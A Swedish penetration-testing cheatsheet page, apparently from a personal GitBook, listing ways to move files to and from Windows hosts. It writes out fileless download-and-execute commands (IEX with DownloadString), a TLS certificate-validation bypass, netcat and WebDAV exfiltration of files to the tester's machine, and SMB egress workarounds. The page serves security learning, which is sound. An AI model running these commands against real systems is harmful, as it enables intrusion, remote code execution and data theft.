AllThingsCyb3r
AllThingsCyb3r
AllThingsCyb3r
  • Welcome
    • Beskrivning
  • Whoami
    • Om
  • Cheatsheets
    • Enumeration Cheatsheet
      • Nmap - grundkommandon
      • SSH
      • SMB
      • HTTP/HTTPS
      • DNS
      • FTP
      • MySQL
      • MSSQL
      • SMTP
        • IMAP/IMAPS
        • POP3
      • SNMP
      • IPMI
    • Linux Cheatsheet
    • Windows Cheatsheet
    • Linux Priv.Esc Cheatsheet
    • Windows Priv.Esc Cheatsheet
    • Webbapplikation
  • Writeups
    • Hack The Box
      • Photobomb
      • Active
  • Verktyg
    • Metasploit
    • Gobuster
    • Hydra
    • Searchsploit
    • PsExec
    • FFUF
    • MSFvenom
    • CrackMapExec
  • Protokoll
    • FTP
    • SMB
    • SNMP
  • File Transfers
    • Windows
    • Linux
    • Alternativa metoder
    • LOLBins
  • Shells & Payloads
    • Payloads
    • Shells
  • Active Directory
    • Översikt
    • Dokumentation & Länkar
Powered by GitBook
On this page
  • Överföring genom Base64-kodning
  • Steg 1 - Ta fram checksumma för filen
  • Steg 2 - Base64-koda filen
  • Steg 3 - Konvertera tillbaka filen
  • Steg 4 - Kontrollera att checksumman stämmer från steg 1
  • Powershell DownloadFile
  • Exempel 1:
  • Exempel 2:
  • PowerShell DownloadString - Fileless
  • Exempel 1:
  • Exempel 2:
  • PowerShell Invoke-WebRequest
  • Exempel 1:
  • Felhantering
  • Resurser
  • harmj0y har gjort en utförlig lista över fler kommandon:
  • SMB (oautentiserat)
  • Steg 1 - Starta en SMB-server
  • Steg 2 - Kopiera över önskad fil
  • SMB (autentiserat)
  • Steg 1 - Starta SMB-server med inloggningsuppgifter
  • Steg 2 - Mount:a share på Windows-klienten
  • Steg 3 - Kopiera över önskad fil
  • FTP
  • Steg 1 - Installera pyftpdlib
  • Steg 2 - Starta FTP-server
  • Steg 3 - Överföra filer
  • PowerShell Web Uploads
  • Steg 1 - Upprätta en webbserver med uppladdningsfunktionalitet
  • PowerShell Base64 Web Upload
  • Steg 1 - Sätt upp en Netcat-lyssnare
  • Steg 2 - Konvertera filen som ska skickas till Base64-sträng
  • Steg 3 - Skicka filen som en POST-request
  • Steg 4 - Konvertera tillbaka filen från Base64
  • SMB Uploads
  • Steg 1 - Installera Pythons WebDav-modul
  • Steg 2 - Starta WebDav-modulen
  • Steg 3 - Anslut till WebDav-share:en
  • Steg 4 - Ladda upp filer med SMB
  • FTP Uploads
  • Steg 1 - Starta FTP-servern med skriv-rättigheter
  • Steg 2 - Ladda upp filer
  • Filkryptering i Windows
  • Exempel 1:
  1. File Transfers

Windows

Olika sätt att överföra filer till och från Windows-system. I huvudsak hämtat från HTB Academy.


Överföring genom Base64-kodning

Det finns begränsningar för hur stora filer man kan göra detta med. CMD.exe har t.ex. en begränsning på 8 191 tecken. De övre kommandona i varje steg visar överföring från egen Linux-klient till fjärrklient (Windows) och nedre kommandona visar exfiltrering av fil till egen Linux-klient.

Steg 1 - Ta fram checksumma för filen

# Bash
md5sum <filnamn>
# PowerShell
Get-FileHash "C:\<sökväg till fil>\<filnamn>" -Algorithm MD5 | select Hash

Steg 2 - Base64-koda filen

# Bash
cat <filnamn> | base64 -w 0;echo
# PowerShell
[Convert]::ToBase64String((Get-Content -path "C:\<sökväg till fil>\<filnamn>" -Encoding byte))

Steg 3 - Konvertera tillbaka filen

# PowerShell
[IO.File]::WriteAllBytes("C:\<sökväg>\<filnamn>", [Convert]::FromBase64String("<base64-sträng>"))
# Bash
echo <Base64-checksumma> | base64 -d > <filnamn>

Steg 4 - Kontrollera att checksumman stämmer från steg 1

# PowerShell
Get-FileHash C:\<sökväg>\<filnamn> -Algorithm md5
# Bash
md5sum <filnamn>


Powershell DownloadFile

Från en Powershell-prompt

Exempel 1:

(New-Object Net.WebClient).DownloadFile('<URL till fil>','<önskat filnamn>')

Exempel 2:

(New-Object Net.WebClient).DownloadFileAsync('<URL till fil>','<önskat filnamn>')


PowerShell DownloadString - Fileless

Använder modulen Invoke-Expression. Invoke-Expression används för att tolka och exekvera en sträng som ett kommando. Den tar ett argument i formen av en sträng innehållandes PowerShell-kod och exekverar den som att den knappades in direkt i kommandotolken.

Exempel 1:

IEX (New-Object Net.WebClient).DownloadString('https://<URL till fil>/<filnamn>')

Exempel 2:

Laddar ner en fil och pipe:ar det till Invoke-Expression.

(New-Object Net.WebClient).DownloadString('https://URL till fil>/<filnamn>') | IEX


PowerShell Invoke-WebRequest

Fr.o.m PS 3.0 finns det även modulen Invoke-WebRequest. Tar dock längre tid att ladda ner filer än ovanstående. Det går även att använda följande alias istället för Invoke-WebRequest:

  • iwr

  • curl

  • wget

Exempel 1:

Invoke-WebRequest https://<URL till fil>/<filnamn> -OutFile <önskat filnamn>

Felhantering

Om man stöter på problem med SSL/TLS secure channel (för att certifikatet inte är betrott) kan man ange följande kommando:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Om uppstartskonfigurationen inte är gjord för Internet Explorer så kan man behöva lägga till följande växel efter kommandot:

-UseBasicParsing


Resurser

harmj0y har gjort en utförlig lista över fler kommandon:


SMB (oautentiserat)

Steg 1 - Starta en SMB-server

Starta en SMB-server på egen klient med Impackets "smbserver.py".

sudo impacket-smbserver share -smb2support /tmp/smbshare

Steg 2 - Kopiera över önskad fil

Använd kommandot "copy" för att föra över önskad fil till fjärrklient.

copy \\<egen IP-adress>\share\<fil>

SMB (autentiserat)

Steg 1 - Starta SMB-server med inloggningsuppgifter

Om Windows-klienten inte tillåter oautentiserade överföringar så kan man istället starta SMB-servern med specificerade användare-uppgifter.

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Steg 2 - Mount:a share på Windows-klienten

net use <disk-bokstav>: \\<egen IP-adress>\share /user:test test

Steg 3 - Kopiera över önskad fil

copy <disk-bokstav>:\nc.exe


FTP

Steg 1 - Installera pyftpdlib

sudo pip3 install pyftpdlib

Steg 2 - Starta FTP-server

sudo python3 -m pyftpdlib --port 21

Steg 3 - Överföra filer

PowerShell:

(New-Object Net.WebClient).DownloadFile('ftp://<egen IP-adress>/<önskad fil>', '<önskad fil>')

FTP-klient (inbyggd i Windows)

Först skapar vi en "kommando"-fil med kommandon vi vill exekvera. Sedan kör vi kommandona och hämtar specificerad fil.

echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt

ftp -v -n -s:ftpcommand.txt

ftp> open 192.168.49.128
Log in with USER and PASS first.

ftp> USER anonymous

ftp> GET file.txt
ftp> bye
  • -v = visa ej fjärr-serverns svar.

  • -n = ingen autologin vid anslutning.

  • -s: <textfil med kommandon> = specificerar en textfil som innehåller FTP-kommandon och som kommer köras efter att FTP startats.


PowerShell Web Uploads

PowerShell har ingen inbyggd funktion för att ladda upp filer. Man kan dock använda "Invoke-WebRequest" eller "Invoke-RestMethod" för att bygga en uppladdningsfunktion. Det behövs även en webbserver som kan ta emot uppladdningar, detta är dock inte standard i de flesta webbserver-verktyg.

Pythons HTTP.server-modul har en utökad modul som heter "uploadserver" och inkluderar en filuppladdnings-sida. Den sätter upp en webbserver på port 8000.

Steg 1 - Upprätta en webbserver med uppladdningsfunktionalitet

python3 -m uploadserver

# Denna modul går att installera med kommandot:
pip3 install uploadserver

Steg 2 - PowerShell-skript för att ladda upp fil

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Invoke-FileUpload -Uri http://<egen IP-adress>:8000/upload -File C:\<sökväg till fil>\<filnamn>


PowerShell Base64 Web Upload

Man kan även använda "Invoke-WebRequest" och "Invoke-RestMethod" tillsammans med Netcat för att ladda upp filer. Man sätter då upp en Netcat-lyssnare och skickar filen (Base64-strängen) som en POST-request. Slutligen så kopierar man informationen i request:en och använder Base64-avkodning för att konvertera strängen till en fil.

Steg 1 - Sätt upp en Netcat-lyssnare

nc -lvnp <port>

Steg 2 - Konvertera filen som ska skickas till Base64-sträng

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\<sökväg>\<filnamn>' -Encoding Byte))

Steg 3 - Skicka filen som en POST-request

Invoke-WebRequest -Uri http://<egen IP-adress>:<netcat-port>/ -Method POST -Body $b64

Steg 4 - Konvertera tillbaka filen från Base64

echo <base64-sträng> | base64 -d -w 0 > <filnamn>


SMB Uploads

Vanligtvis tillåter man inte SMB-trafik ut från det interna nätverket. För att komma runt detta kan man nyttja SMB över HTTP m.h.a WebDav. WebDav är en förlängning av HTTP-protokollet och tillåter en webbserver att agera som en filserver. Det stödjer även HTTPS.

Steg 1 - Installera Pythons WebDav-modul

sudo pip install wsgidav cheroot

Steg 2 - Starta WebDav-modulen

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Steg 3 - Anslut till WebDav-share:en

dir \\<egen IP-adress>\DavWWWRoot

# Om man inte specificerar en mapp som existerar i steg 2 så kan man ange DavWWWRoot.
# Då tolkar Windows-shell att man vill ansluta till roten av WebDav-servern.

Steg 4 - Ladda upp filer med SMB

copy C:\<sökväg till fil\<filnamn> \\<egen IP-adress>\DavWWWRoot\

# Om man specificerat en existerande mapp i steg 2 så kan man ange den istället, ex:
copy C:\<sökväg till fil\<filnamn> \\<egen IP-adress>\sharefolder\


FTP Uploads

Steg 1 - Starta FTP-servern med skriv-rättigheter

sudo python3 -m pyftpdlib --port 21 --write

Steg 2 - Ladda upp filer

PowerShell

(New-Object Net.WebClient).UploadFile('ftp://<egen IP-adress>/<filnamn>', 'C:\<sökväg till fil>\<filnamn>')

FTP-klient (inbyggd i Windows)

# Skapa en kommandofil för automatisering av anslutning och uppladdning

echo open <egen IP-adress> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\<sökväg till fil\<filnamn> >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
ftp> open <egen IP-adress>

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\<sökväg till fil>\<filnamn>
ftp> bye


Filkryptering i Windows

Exempel 1:

PowerShell - Kryptering m.h.a "Invoke-AESEncryption.ps1".

Steg 1 - Hämta PowerShell-skriptet

Steg 2 - Överför skriptet med någon av ovanstående metoder

Steg 3 - Importera modulen med PowerShell

Import-Module .\Invoke-AESEncryption.ps1

Steg 4 - Kryptera önskad fil

Invoke-AESEncryption -Mode Encrypt -Key "<önskat lösenord>" -Path <filsökväg>\<filnamn>

PreviousSNMPNextLinux

Last updated 1 year ago

LogoPowerShell Gallery | Functions/Invoke-AESEncryption.ps1 4.0.2.3
Page cover image